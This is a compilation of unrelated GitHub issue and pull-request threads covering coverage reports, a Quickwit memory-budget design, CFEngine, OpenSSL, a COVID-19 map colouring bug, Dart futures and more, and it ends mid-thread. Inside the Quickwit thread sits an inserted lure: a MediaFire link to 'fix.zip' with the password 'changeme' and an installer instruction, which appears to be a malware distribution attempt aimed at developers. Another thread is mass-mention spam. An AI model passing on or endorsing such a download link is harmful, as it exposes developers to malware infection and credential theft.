Not all branches covered, but report does not show where

I have a curious case where the report does not show where or for what reason some branch is not covered. It could be related to #96 -- I'm not sure.

Here's the report file:
{
"./public/javascripts/client.js":{"path":"./public/javascripts/client.js","s":{"1":1,"2":1,"3":5},"b":{},"f":{"1":5},"fnMap":{"1":{"name":"(anonymous_1)","line":26,"loc":{"start":{"line":26,"column":14},"end":{"line":26,"column":38}}}},"statementMap":{"1":{"start":{"line":24,"column":0},"end":{"line":24,"column":45}},"2":{"start":{"line":26,"column":0},"end":{"line":29,"column":3}},"3":{"start":{"line":28,"column":4},"end":{"line":28,"column":55}}},"branchMap":{},"l":{"24":1,"26":1,"28":5}},
"./public/javascripts/controllers.js":{"path":"./public/javascripts/controllers.js","s":{"1":1,"2":5,"3":5,"4":5,"5":5,"6":3,"7":3,"8":3,"9":2,"10":2,"11":2,"12":2,"13":1,"14":1,"15":1,"16":1,"17":5,"18":1,"19":1},"b":{},"f":{"1":5,"2":3,"3":2,"4":1,"5":1},"fnMap":{"1":{"name":"(anonymous_1)","line":24,"loc":{"start":{"line":24,"column":36},"end":{"line":24,"column":69}}},"2":{"name":"(anonymous_2)","line":38,"loc":{"start":{"line":38,"column":19},"end":{"line":38,"column":30}}},"3":{"name":"(anonymous_3)","line":47,"loc":{"start":{"line":47,"column":21},"end":{"line":47,"column":61}}},"4":{"name":"(anonymous_4)","line":54,"loc":{"start":{"line":54,"column":19},"end":{"line":54,"column":59}}},"5":{"name":"(anonymous_5)","line":66,"loc":{"start":{"line":66,"column":20},"end":{"line":66,"column":31}}}},"statementMap":{"1":{"start":{"line":24,"column":0},"end":{"line":71,"column":3}},"2":{"start":{"line":28,"column":4},"end":{"line":31,"column":6}},"3":{"start":{"line":33,"column":4},"end":{"line":33,"column":25}},"4":{"start":{"line":34,"column":4},"end":{"line":34,"column":35}},"5":{"start":{"line":38,"column":4},"end":{"line":63,"column":6}},"6":{"start":{"line":39,"column":8},"end":{"line":39,"column":29}},"7":{"start":{"line":40,"column":8},"end":{"line":40,"column":44}},"8":{"start":{"line":42,"column":8},"end":{"line":62,"column":15}},"9":{"start":{"line":49,"column":16},"end":{"line":49,"column":58}},"10":{"start":{"line":50,"column":16},"end":{"line":50,"column":49}},"11":{"start":{"line":51,"column":16},"end":{"line":51,"column":37}},"12":{"start":{"line":52,"column":16},"end":{"line":52,"column":46}},"13":{"start":{"line":57,"column":16},"end":{"line":57,"column":52}},"14":{"start":{"line":58,"column":16},"end":{"line":58,"column":49}},"15":{"start":{"line":60,"column":16},"end":{"line":60,"column":36}},"16":{"start":{"line":61,"column":16},"end":{"line":61,"column":47}},"17":{"start":{"line":66,"column":4},"end":{"line":69,"column":6}},"18":{"start":{"line":67,"column":8},"end":{"line":67,"column":44}},"19":{"start":{"line":68,"column":8},"end":{"line":68,"column":39}}},"branchMap":{},"l":{"24":1,"28":5,"33":5,"34":5,"38":5,"39":3,"40":3,"42":3,"49":2,"50":2,"51":2,"52":2,"57":1,"58":1,"60":1,"61":1,"66":5,"67":1,"68":1}},
"./public/javascripts/services.js":{"path":"./public/javascripts/services.js","s":{"1":1,"2":5,"3":5,"4":5,"5":1,"6":5},"b":{"1":[5,0],"2":[1,4]},"f":{"1":5,"2":5},"fnMap":{"1":{"name":"(anonymous_1)","line":25,"loc":{"start":{"line":25,"column":34},"end":{"line":25,"column":68}},"skip":true},"2":{"name":"request","line":29,"loc":{"start":{"line":29,"column":17},"end":{"line":29,"column":42}},"skip":true}},"statementMap":{"1":{"start":{"line":25,"column":0},"end":{"line":38,"column":3},"skip":true},"2":{"start":{"line":28,"column":4},"end":{"line":37,"column":6},"skip":true},"3":{"start":{"line":31,"column":12},"end":{"line":31,"column":50},"skip":true},"4":{"start":{"line":32,"column":12},"end":{"line":34,"column":13},"skip":true},"5":{"start":{"line":33,"column":16},"end":{"line":33,"column":88},"skip":true},"6":{"start":{"line":35,"column":12},"end":{"line":35,"column":26},"skip":true}},"branchMap":{"1":{"line":31,"type":"binary-expr","locations":[{"start":{"line":31,"column":29},"end":{"line":31,"column":43},"skip":true},{"start":{"line":31,"column":47},"end":{"line":31,"column":49},"skip":true}]},"2":{"line":32,"type":"if","locations":[{"start":{"line":32,"column":12},"end":{"line":32,"column":12},"skip":true},{"start":{"line":32,"column":12},"end":{"line":32,"column":12},"skip":true}]}},"l":{"25":1,"28":5,"31":5,"32":5,"33":1,"35":5}},
"./public/javascripts/directives.js":{"path":"./public/javascripts/directives.js","s":{},"b":{},"f":{},"fnMap":{},"statementMap":{},"branchMap":{},"l":{}}}

Thanks to @kylekatarnls, I was able to find the line in my code with the unreported branch missing:
constructor( options = { direction: 'forward' } ) {

I've also tried the clover and cobertura reporters as well but they don't point to the missing branch either.


Cap search RAM Usage

All of the data required to run a single split leaf search needs to sit in RAM for a few hundred ms.
Right now we can limit Searcher RAM usage by limiting search concurrency.
However, the amount of RAM necessary to run a split search is difficult to foresee and it can vary a lot.
Also limiting search concurrency can strongly impact search latency.
We also expose ourselves to "Query of death" phenomenons.
Capping memory is non-trivial... If we just used a semaphore for instance, we would expose ourselves to a possible deadlock.
We need a best-effort solution to cap the search RAM usage.

We could do something like:

have a global semaphore measure the searcher "working memory" RAM.
reserve 100mb to start search on a split.
tap on that reserved 100mb before downloading any extra data.
if 100mb is exceeded for a given split, try to reserve more memory from the global semaphore with a timeout of 1s. If the timeout hits, fails the search request.
release the reserved memory as soon as warmup is finished.

With this solution, as long as a split requires less than 100mb, no problem happens.
Only pathological search request (taking more than 100mb per split) may fail.

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

@rdettai  can you take over this issue / PR
I tried to describe what this is doing in a the commit message.
Limit search memory usage associated with warmup.
Due to tantivy limitations, searching a split requires downloading all
of the required data, and keep them in memory. We call this phase
warmup.

Before this PR, the only thing that curbed memory usage was the search
permits: only N split search may happen concurrently.
Unfortunately, the amount of data required here varies vastly.

We need a mechanism to measure and avoid running more split search
when memory is tight.

Just using a semaphore is however not an option. We do not know
beforehands how much memory will be required by a split search, so it could easily
lead to a dead lock.

Instead, this commit builds upon the search permit provider.

The search permit provider is in charge of managing a configurable memory budget for this warmup memory.

We introduce here a configurable "warmup_single_split_initial_allocation".
A new leaf split search cannot be started if this memory is not
available. This initial allocation is meant to be greater than what will
be actually needed most of the time.

The split search then holds this allocation until the end of warmup.
After warmup, we can get the actual memory usage by interrogating the
warmup cache. We can then update the amount of memory held.
(most of the time, this should mean releasing some memory)

In addition, in this PR, at this point, we also release the warmup search permit:

We still have to perform the actual task of searching, but the thread
pool will take care of limiting the number of concurrent task.

Closes https://github.com/quickwit-oss/quickwit/issues/5355

A bunch of tasks are still required

[ ] building unit test is broken at the moment.
[ ]serde deserialization default value must be set.
[ ] we need additional unit test for search permit provider. (it is easy for bugs to popup in that kind of logic, fortunately its isolation make it is easy to unit test.)
[ ] adding a counter for this warmup memory usage
[ ] document SearchPermitProvider
[ ] cleanup... whatever you see fit


critical bug in promise module git, failed to log about changes made

When using the git promise I see
CRITICAL: Bug in promise module - Failed to log about changes made by a repaired git promise with promiser '/home/craig/src/project' (/home/craig/.cfagent/inputs/services/autorun/project.cf:7)

This was a recent change in master so this module needs to be adjusted
$ cf-agent -V
CFEngine Core 3.21.0a.18a4291bf
CFEngine Enterprise 3.21.0a.dad704bd3

Will log a ticket in JIRA instead. Might have something to do with promise locking.

Will log a ticket in JIRA instead. Might have something to do with promise locking.

@craigcomstock please put a link to the JIRA ticket here.


7314874656

files  to unistall @ftnext @YebowenHu @markmcd @dmotz @philippemiron @mgechev @dmotz @yaoshengzhe @mgechev - [ ] - @random-forests @nbro @Andy963 @thatfiredev @luo-anthony @yihong0618 @eavanvalkenburg @aertoria @mpursley @rozha @waltforme @elsiel23 @mbanani

Please share more details on the issue with current and expected behaviour or the error message.

@Ag2279122,
We see that the issue template has not been filled, could you please do so as it helps us analyze the issue [SDK version, steps followed before you ran into this error or stand alone code/colab gist to reproduce the issue faced and reopen this issue. Thanks!


feat ankr hooks

Description

This PR adds ankr hooks to @web3-ui/hooks for fetching data from the ankr API
includes a hooks provider for including a set of alchemy hooks

📝 Additional Information

Anything else you'd want reviewers to know.

When deploying to vercel, both docs and storybook builds fail with
ModuleNotFoundError: Module not found: Error: Can't resolve '@web3-ui/hooks' in '/vercel/path0/packages/components/src/provider/Web3uiProvider'
does not error when locally building or github workflow


Revert "Adding Control Flow guard to Windows Builds"

Reasons:

The patch was missing the linker flag /guard:cf As a result no binary with CFG was ever built
/guard:cf is incompatible with NASM If the linker flag is added, the resulting binary fails with this exception: Unhandled exception at 0x00007FFFB8B93C90 (ntdll.dll) in openssl.exe: Indirect call guard check detected invalid control transfer.

We could add it with no-asm builds. Couldn't we? But you're right that the current patch should be reverted.

We could add it with no-asm builds. Couldn't we?
Yes, also with the VC-WIN64A-masm configuration, but I have not verified this.

This pull request is ready to merge

Merged to master branch. Thank you.


Changes to getAccountSecurityToken

Fixes https://github.com/microsoft/azuredatastudio/issues/11501

Coverage remained the same at 37.596% when pulling c64a9b3116bb20bae4569e246033074d971eb4e0 on amir/azureAuth/changeUsage into 188cfdbd20f426e56d6fc7fddd5dfac70e49ec49 on main.


UI (GlobalDNS Entry): Add the helper tip about annotation to Ingress, for both mcapp and projects.

We need to a UI change to show the tip about adding the annotation label ( rancher.io/globalDNS.hostname ) on the ingress, for both - Multi Cluster App or target projects.
Currently this tip appears only if the user selects the "target projects" option. But this annotation is required even in case of Multi Cluster App.
Also the text should be changed to: "To finalize Global DNS for the  Multi Cluster App or Projects you must add the following annotation label ( rancher.io/globalDNS.hostname ) on the ingress in the Multi Cluster App or the Project, where hostname is the host name used in the routing rules."

This item came via doc review feedback.

Version: Master 2.2 (3/15/19) 21d45c0f8e83
The tip has been improved per the recommendation. It now is also shown whether Multi-Cluster App or Projects radio button is chosen:


Map color not as per count in Goa

Describe the bug
A clear and concise description of what the bug is.
Color of North Goa map is not as per the map color chart.
To Reproduce
Steps to reproduce the behavior:

Go to https://www.covid19india.org/
Click on Goa map
See error : As per the map color chart with the count of 3, the color of North Goa map is showing red.

Expected behavior
A clear and concise description of what you expected to happen.
As per the map color chart with the count of 3, the color should be orange.
Screenshots
If applicable, add screenshots to help explain your problem.

Desktop (please complete the following information):

OS : Windows 10
Browser : Chrome
Version : 80.0

Smartphone (please complete the following information):
NA

Device: [e.g. iPhone6]
OS: [e.g. iOS8.1]
Browser [e.g. stock browser, safari]
Version [e.g. 22]

This is reproducible for States having very less confirmed total cases. Odisha, Assam, Mizoram etc to name a few. Can I work on this issue?

This seems like an issue of the continuous scale algo we are using for the choropleths in D3. Right?

Yes, if we have a mapping of the scale and map's color then it will be easier to solve. I think its happening even for the India Map. Kerala's color is deeper than expected for example.

@guneetnarula Yes, I tried to solve this issue last night...
For color bar the code written is
const color = d3       .scaleSequential(d3.interpolateReds)       .domain([0, statistic.maxConfirmed / maxInterpolation || 10]);
This code does discreet interpolation of red in.
For coloring the region the code is
`const n = parseInt(mapData[d.properties[propertyField]]) || 0;
      const color =
        n === 0
          ? '#ffffff'
          : d3.interpolateReds(
              (maxInterpolation * n) / (statistic.maxConfirmed || 0.001)
            );

      return color;`

Takes number of cases into account before assigning color.
As pointed out by @chamow97 Screen shot is attached.

I think the discussion in #57 is relevant. Just making the colouring discrete might not solve the issue. We would also need to adjust the number of discrete intervals for each state.

@shuklaayush so is this still open?

@jeremyphilemon Wait for the next PR :wink:

Fixed in #1133


Keep getting a warning when clciking on a pin that does a flyto...

three version: 0.169.0
@react-three/fiber version: 8.17.10
react-three-map version: 0.8.2
node version: v20.11.1
npm (or yarn) version: 10.2.4

Problem description:
I have a pin on a UK map (UK map fully visible). When clicking on the pin I flyto the coords of the pin to zoom level 14.81. I get the error as soon as I start fyling and enable my R3F components. I do not recognise any of this so I believe it has nothing to do with my own code:

The super weird thing is, I only get this 1 time when the app starts, or i refresh the page and click on the pin. If after I zoom to my coords, then zoom back out to UK full view, click on the pin again, then the warning does not appear.
It only re-appears if I refresh the browser and click on pain again...
Relevant code:

simple handleClick code to flyto coords at specific zoom level and bearing
Suggested solution:
I dont have a suggested solution as I have no idea why the error/warning comes up in the 1st place

This looks like a mapbox issue, not something to do with this library? If you think otherwise would you mind providing a codesandbox reproducing the issue (you can start from this template).


CMake Install rule proposal (stall by #136)

FYI to "Discuss and review the changes in this comparison with others."
Add install rule to fix #111
This is what I would use to integrate abseil-cpp to our Makefile-based/CMake-based build of https://github.com/google/or-tools (cf google/or-tools#871)

In the interest of incremental change, can we wait until https://github.com/abseil/abseil-cpp/pull/136 is in, and then add this to absl_cc_library?

I think first we should use absl_cc_library() everywhere
Currently on master:
[0]─[~/work/abseil-cpp]
[^v^]─corentinl@corentinl %grepc -RIin "absl_\(library\|header\)" absl
absl/meta/CMakeLists.txt:32:absl_header_library(
absl/types/CMakeLists.txt:28:absl_header_library(
absl/types/CMakeLists.txt:43:absl_header_library(
absl/types/CMakeLists.txt:59:absl_library(
absl/types/CMakeLists.txt:75:absl_library(
absl/types/CMakeLists.txt:94:absl_library(
absl/types/CMakeLists.txt:106:absl_library(
absl/algorithm/CMakeLists.txt:34:absl_header_library(
absl/memory/CMakeLists.txt:22:absl_header_library(
absl/container/CMakeLists.txt:51:absl_header_library(
absl/container/CMakeLists.txt:70:absl_library(
absl/utility/CMakeLists.txt:22:absl_header_library(
absl/strings/CMakeLists.txt:72:absl_library(
absl/strings/CMakeLists.txt:84:absl_header_library(
absl/strings/CMakeLists.txt:94:absl_library(
absl/strings/CMakeLists.txt:121:absl_library(
absl/debugging/CMakeLists.txt:72:absl_library(
absl/debugging/CMakeLists.txt:81:absl_library(
absl/debugging/CMakeLists.txt:93:absl_library(
absl/debugging/CMakeLists.txt:106:absl_library(
absl/debugging/CMakeLists.txt:121:absl_library(
absl/debugging/CMakeLists.txt:134:absl_header_library(
absl/debugging/CMakeLists.txt:152:absl_library(
absl/numeric/CMakeLists.txt:27:absl_library(
absl/numeric/CMakeLists.txt:39:absl_header_library(
absl/hash/CMakeLists.txt:36:absl_library(
absl/synchronization/CMakeLists.txt:50:absl_library(
absl/time/CMakeLists.txt:60:absl_library(
absl/base/CMakeLists.txt:74:absl_library(
absl/base/CMakeLists.txt:124:absl_library(
[0]─[~/work/abseil-cpp]
[^v^]─corentinl@corentinl %grepc -RIin "absl_cc_library(" absl
absl/base/CMakeLists.txt:86:absl_cc_library(
absl/base/CMakeLists.txt:101:absl_cc_library(
absl/base/CMakeLists.txt:131:absl_cc_library(
absl/base/CMakeLists.txt:141:absl_cc_library(


added argument to ignore syntax errors

With this PR I added a new argument to ignore syntax errors
Related: #231

Codecov Report

Merging #232 (3d78551) into main (12f1e8c) will increase coverage by 0.05%.
The diff coverage is 100.00%.

@@             Coverage Diff              @@
##               main     #232      +/-   ##
============================================
+ Coverage     92.98%   93.03%   +0.05%
- Complexity      314      315       +1
============================================
  Files            52       52
  Lines           812      818       +6
============================================
+ Hits            755      761       +6
  Misses           57       57

Impacted Files
Coverage Δ

src/CLI/Check.php
85.52% <100.00%> (+1.24%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 12f1e8c...3d78551. Read the comment docs.


Fix CTRL+Space handling while the CodeHintList is open, fixes #13481

This PR fixes regression in filed as #13481 by instead of relying on
modifying original event we add a boolean flag telling _keydownHook the
event is actually faked and should be treated as such.
Signed-off-by: Pete Nykanen<EMAIL_ADDRESS>

Addressed comments in 8bd7adb, thanks @swmitra

@petetnt Good work. This was a nagging issue and used to clutter the console completely with errors.
Thanks a lot for fixing this long pending problem 👍


Error in CPython3.10

https://github.com/abersheeran/baize/pull/17/checks?check_run_id=3811820806
Traceback (most recent call last):
  File "/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/site-packages/pep517/in_process/_in_process.py", line 349, in <module>
    main()
  File "/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/site-packages/pep517/in_process/_in_process.py", line 331, in main
    json_out['return_val'] = hook(**hook_input['kwargs'])
  File "/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/site-packages/pep517/in_process/_in_process.py", line 270, in build_editable
    return hook(wheel_directory, config_settings, metadata_directory)
  File "/tmp/pdm-build-env-ix8_99sb-shared/lib/python3.10/site-packages/pdm/pep517/api.py", line 86, in build_editable
    return Path(builder.build(wheel_directory)).name
  File "/tmp/pdm-build-env-ix8_99sb-shared/lib/python3.10/site-packages/pdm/pep517/wheel.py", line 76, in build
    self._write_metadata(zip_file)
  File "/tmp/pdm-build-env-ix8_99sb-shared/lib/python3.10/site-packages/pdm/pep517/editable.py", line 155, in _write_metadata
    return super()._write_metadata(wheel)
  File "/tmp/pdm-build-env-ix8_99sb-shared/lib/python3.10/site-packages/pdm/pep517/wheel.py", line 144, in _write_metadata
    self._write_wheel_file(f)
  File "/tmp/pdm-build-env-ix8_99sb-shared/lib/python3.10/site-packages/pdm/pep517/wheel.py", line 265, in _write_wheel_file
    tag=self.tag,
  File "/tmp/pdm-build-env-ix8_99sb-shared/lib/python3.10/site-packages/pdm/pep517/wheel.py", line 121, in tag
    assert (
AssertionError: would build wheel with unsupported tag ('cp310', 'cp310', 'linux_x86_64')
Install baize 0.11.0 failed
Traceback (most recent call last):
  File "/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/site-packages/pdm/builders/base.py", line 78, in log_subprocessor
    subprocess.check_call(
  File "/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/subprocess.py", line 364, in check_call
    raise CalledProcessError(retcode, cmd)
subprocess.CalledProcessError: Command '['/opt/hostedtoolcache/Python/3.10.0/x64/bin/python3.10', '/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/site-packages/pep517/in_process/_in_process.py', 'build_editable', '/tmp/tmp1_wbu8wi']' returned non-zero exit status 1.

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/opt/hostedtoolcache/Python/3.8.12/x64/bin/pdm", line 8, in <module>
    sys.exit(main())
  File "/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/site-packages/pdm/core.py", line 198, in main
    return Core().main(args)
  File "/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/site-packages/pdm/core.py", line 153, in main
    raise cast(Exception, err).with_traceback(traceback)
  File "/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/site-packages/pdm/core.py", line 148, in main
    f(options.project, options)
  File "/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/site-packages/pdm/cli/commands/install.py", line 45, in handle
    actions.do_sync(
  File "/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/site-packages/pdm/cli/actions.py", line 169, in do_sync
    handler.synchronize()
  File "/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/site-packages/pdm/installers/synchronizers.py", line 372, in synchronize
    self.install_candidate(self_key)
  File "/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/site-packages/pdm/installers/synchronizers.py", line 190, in install_candidate
    self.manager.install(can)
  File "/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/site-packages/pdm/installers/manager.py", line 38, in install
    installer(candidate.build(), self.environment, candidate.direct_url())
  File "/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/site-packages/pdm/models/candidates.py", line 307, in build
    self.wheel = builder.build(build_dir, metadata_directory=self._metadata_dir)
  File "/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/site-packages/pdm/builders/editable.py", line 52, in build
    filename = self._hook.build_editable(
  File "/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/site-packages/pep517/wrappers.py", line 257, in build_editable
    return self._call_hook('build_editable', {
  File "/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/site-packages/pep517/wrappers.py", line 318, in _call_hook
    self._subprocess_runner(
  File "/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/site-packages/pdm/builders/base.py", line 235, in subprocess_runner
    return log_subprocessor(cmd, cwd, extra_environ=env)
  File "/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/site-packages/pdm/builders/base.py", line 86, in log_subprocessor
    raise BuildError(f"Call command {cmd} return non-zero status.")
pdm.exceptions.BuildError: Call command ['/opt/hostedtoolcache/Python/3.10.0/x64/bin/python3.10', '/opt/hostedtoolcache/Python/3.8.12/x64/lib/python3.8/site-packages/pep517/in_process/_in_process.py', 'build_editable', '/tmp/tmp1_wbu8wi'] return non-zero status.

Fixed in latest pdm-pep517, should be okay if you rerun.


Future.value: consider completing the future immediately, without scheduling an extra microtask

Documentation for Future.value says:
https://github.com/dart-lang/sdk/blob/99919c69ba1f374a8d793bcfe43e2a1702a1b82b/sdk/lib/async/future.dart#L328-L329
However, the implementation calls _Future<T>.immediate
https://github.com/dart-lang/sdk/blob/99919c69ba1f374a8d793bcfe43e2a1702a1b82b/sdk/lib/async/future.dart#L348-L349
It schedules a microtask to complete the future:
https://github.com/dart-lang/sdk/blob/99919c69ba1f374a8d793bcfe43e2a1702a1b82b/sdk/lib/async/future_impl.dart#L269-L270
https://github.com/dart-lang/sdk/blob/99919c69ba1f374a8d793bcfe43e2a1702a1b82b/sdk/lib/async/future_impl.dart#L577-L599
https://github.com/dart-lang/sdk/blob/99919c69ba1f374a8d793bcfe43e2a1702a1b82b/sdk/lib/async/future_impl.dart#L636-L641
Scheduling a microtask is slower than just completing future synchronously. It also doesn't fully follow the documented behavior (the created Future is not fully completed until the microtask runs).
A good example of users struggling with this behavior is a SynchronousFuture from Flutter:
/// A [Future] whose [then] implementation calls the callback immediately.
///
/// This is similar to [Future.value], except that the value is available in
/// the same event-loop iteration.
///
/// ⚠ This class is useful in cases where you want to expose a single API, where
/// you normally want to have everything execute synchronously, but where on
/// rare occasions you want the ability to switch to an asynchronous model. **In
/// general use of this class should be avoided as it is very difficult to debug
/// such bimodal behavior.**
class SynchronousFuture<T> implements Future<T> {

https://github.com/flutter/flutter/blob/1e14993c56f668afcd2175c7ae847599a8ec11ee/packages/flutter/lib/src/foundation/synchronous_future.dart#L7-L17
It looks like SynchronousFuture would not be needed if Future.value would complete the Future synchronously (and maybe Future.then would also avoid scheduling an extra microtask for the completed future).
In addition to Future.value, it would be nice to revise other places where the current Future implementation schedules extra unnecessary microtasks when value is already available / future is already completed.
@lrhn @mkustermann @mraleph @Hixie

There should be no visible difference between a Future completed with a value immediately, and in a later microtask.
The only way to access the value is by adding a listener, which will get notified in a later microtask anyway.
If anything, the listener is notified sooner if it happens to be added between the scheduling of the microtask in _Future.immediate an the future being completed, because then the listener is notified during that microtask, instead of in a microtask scheduled at the time the listener is added.
It is a strong promise that a future will not call the callback during the then call. It will be called only after the then call has completed (and the synchronous code leading to that call has completed as well, since there is no way to interrupt it).
The SynchronousFuture is not a valid future. Its use breaks code that assumes well-behaved futures. It must not be used in code that you intend to be production quality. If you want immediate callback, don't use a Future, it's not built to work like that.
'Nuff said.
What is possible is optimizing await on a completed _Future.
If we recognize that the future is a _Future and the future is already completed, then nothing in the specification prevents just continuing synchronously with the value. The specification only says that the code is suspended at the await (which usually means going back to the microtask/event loop), and some time after the future has completed, code will resume with the value of the future. That "some time after" can be immediately after, in the "next microtask" (which we just start then and there without needing to trampoline back to the microtask loop).
Will probably still break code which assumes that the await 0 goes on the end of the microtask queue. We don't promise that, but we usually do it.
In short, those microtasks are often not unnecessary, and very often something people depend on. Even the tiniest change is a heck to clean up.

It's not obvious why Future.then or await should necessarily postpone continuation to a separate microtask. I understand that this is the current behavior, and changing it may break certain code, but maybe such code is rare and it's okay to break it in future versions of Dart in order to make behavior more efficient and more predictable for the majority of users who just use async/await and Future.value.
Writing the code
  var future = ...;
  future.then((x) {
    foo(); // depends on bar()
  });
  bar();

and assuming that bar() runs before foo() is somewhat counter-intuitive as textually foo() precedes bar().
Rewriting this code to make ordering more explicit makes it more readable:
  var future = ...;
  bar();
  future.then((x) {
    foo(); // depends on bar()
  });

Maybe we should think about a completed Future as merely a box over a value and make sure all operations with a completed Future are always synchronous.

The reason Future.then postpones callbacks to a later microtask is that it allows you time to prepare for the result.
If the callback can happen during the then call, then you must prepare everything before you call .then.
For errors, that is essential. If you don't handle the error on the returned future, it takes down your program. You can't do that until the future has been returned.
Even for values, feedback during early development of Future and Stream were that it was far too hard to write code safely if callbacks could happen immediately. Not impossible. Just improbable in practice.
The same for streams. The stream API allows you to do var sub = stream.listen(null); sub.onData((data) { ... sub.cancel(); ...});. With null safety, that way of writing an event handler that has access to the subscription became the best way to write it. Sending events during the listen call will lose events for code using that recommended approach.
The await operator is different in that it promises to do nothing until the future completes, and then it handles both values and errors. If all you ever use is await, then there is no risk in continuing immediately. However, there are lots of async primitives that cannot be written using await, precisely because it is so eager and blocking that it forces the program to be single-threaded. Not all primitives can be single-threaded (Future.wait is the canonical example, the way it's currently written actually doesn't work with SynchronousFuture. It can be made to work, it just gets more complicated.)

Maybe we should think about a completed Future as merely a box over a value and make sure all operations with a completed Future are always synchronous.

That's a very different thing from a Dart future. A Dart future deliberately tries to hide whether it's already completed, because experience tells us that if we don't, people will start writing two code paths, one for the synchronous case and one for the asynchronous case, whether they actually need the speed or not (because who doesn't want speed?)
Allowing that is a non-goal, or even an anti-goal.
If computation is asynchronous, it's asynchronous. Not "sometimes synchronous and sometimes not".
I'm completely fine with optimizing await to continue synchronously if its value is a completed _Future. That's safe because of the restrictions on async functions and await.
I'm not OK with calling the callbacks of then synchronously in otherwise synchronous code. That's too error-prone.

Okay, let's leave Future.then aside for a moment.
@lrhn Can we make Future.value synchronous? That would cut one microtask, which is a win already. Along with making await synchronous for the completed built-in futures, as you suggested, that will make the common case faster and will probably make SynchronousFuture unnecessary as it would be possible to achieve the same with just Future.value and await.

I agree with @lrhn that the default Future shouldn't act like SynchronousFuture. The warning at the end of the API docs quoted above is not just a boilerplate disclaimer. It's REALLY CONFUSING to debug issues involving SynchronousFuture and we only use it in very specific circumstances where the performance benefits vastly outweigh the cost. (Actually it's not even the performance benefits that we want, it's specifically the synchronicity. The whole point is to be able to get data out of a potentially asynchronous operation like an image load without interrupting the synchronous build process, when the data has already been obtained and cached.)

We can definitely make Future.value create a pre-completed future when it's given a plain value (it accepts a FutureOr, so it's not always a plain value).
I think my current rewrite of _Future  does that.
It won't necessarily make anything faster.

If all calls to then happen after the microtask completes, then it does save one microtask. That never happens, you always listen to futures immediately.
If no-one ever calls then on the future, then it just plain saves a microtask. That's a saving.
If a listener is added before the microtask would complete, the change just schedules a microtask at that point instead, making it complete later.
If two or more listeners are added before the microtask would complete, the change will schedule individual microtasks for each of those, where the current behavior would notify both at the original earlier single microtask.

This is an optimization tradeoff. Which behavior is most common?
It probably is "one immediate listener" or "no listener", which means that making the change is going to be a tiny delay for the one listener (but also quite likely no delay at all, since it's entirely possible that no other microtasks would be scheduled between creating the future and calling then) and a saving for no listeners at all.
So, yes, we could change the behavior. (Which is why I already did that in the refactoring.)
About making await completedNativeFuture synchronous - it's spec valid, but it's going to break a lot of tests.
Every test which does await null; or await 0; to "wait for a microtask" will then not do so. It might be better, but it's different, and different timing makes tests break. Not just fragile tests (those too), but also tests that simply rely on await 0 being the same as await Future.microtask(() => 0), which it is currently specified as being.
(There is a reason my Future refactoring hasn't landed yet.)

Thanks for the quick response!
In my example, I only counted micro tasks to force a race condition.
In a real project the user might dispatch several HTTP redux actions and one action that is a completed action (meaning there is no await). There is a small chance, that 2 functions finish in the same frame but one schedules a micro task for complete but the other does not schedule a micro task.
As you have noticed, it is about completing immediately or completing in the next micro task.
Here, we have 2 different scenarios:

if the async function is a completed future, then there is a microtask afterwards
if the async function is a "regular" future (meaning, there is at least one await), then there is no microtask after the return statement

The second case is most common (that's why you use async functions).
There is a similar issue in async_redux documented in this comment:
https://github.com/marcglasberg/async_redux/blob/e7257b24f2990f96db2efdaba19672f875fdd1ae/lib/src/store.dart#L595

In Alibaba's Flutter branch, we have made modifications to the DartVM. By altering the generation of the Await Stub, we first check whether the incoming parameter is a Future, then determine whether that Future has already been completed. If it has been completed, we synchronously return the value to the caller.


Update bookings-in-outlook.md

Updated the description for EWS Enabled

@JohanFreelancer9 Please copy review

Issue#https://github.com/MicrosoftDocs/microsoft-365-docs/issues/8563

@kwekuako Please merge this PR. Thanks


Use workflow.createTime

Hi,
I need to send the creation date of my instance to a REST API via HTTP task. I have the following workflow definition:
{
"name": "test",
"description": "test",
"version": 1,
"ownerEmail"<EMAIL_ADDRESS>"workflowStatusListenerEnabled": true,
"schemaVersion": 2,
"failureWorkflow": "workflow_error",
"inputParameters": [
"workunitId"
],
"tasks": [
{
"name": "setEffectiveEndDate",
"taskReferenceName": "setEffectiveEndDate",
"type": "HTTP",
"inputParameters": {
"http_request": {
"uri": "http://infra-zuul:8080/infra-zuul/service-workunit/workunit/${workflow.input.workunitId}",
"method": "PUT",
"readTimeOut": 30000,
"connectionTimeOut": 30000,
"body": {
"workunitId": "${workflow.input.workunitId}",
"effectiveEndDate": "${workflow.createTime}"
}
}
}
}
]
}
But when I execute it, I have the null value instead of the createTime of workflow instance:
{
"asyncComplete": false,
"http_request": {
"method": "PUT",
"readTimeOut": 30000,
"body": {
"effectiveEndDate": null,
"workunitId": "376397"
},
"uri": "http://infra-zuul:8080/infra-zuul/service-workunit/workunit/376397",
"connectionTimeOut": 30000
}
}
Is it possible to retrieve workflow instance parameter ? Do I have another way via conductor to have the current system date and time ?
Thanks for your help

Unfortunately, Workflow createTime is not one of the fields that is available. The available fields can be found in ParametersUtils. Feel free to submit a PR to introduce a new field createTime whose value will be Workflow.getStartTime().


az vm disk attach ignores caching argument

Description
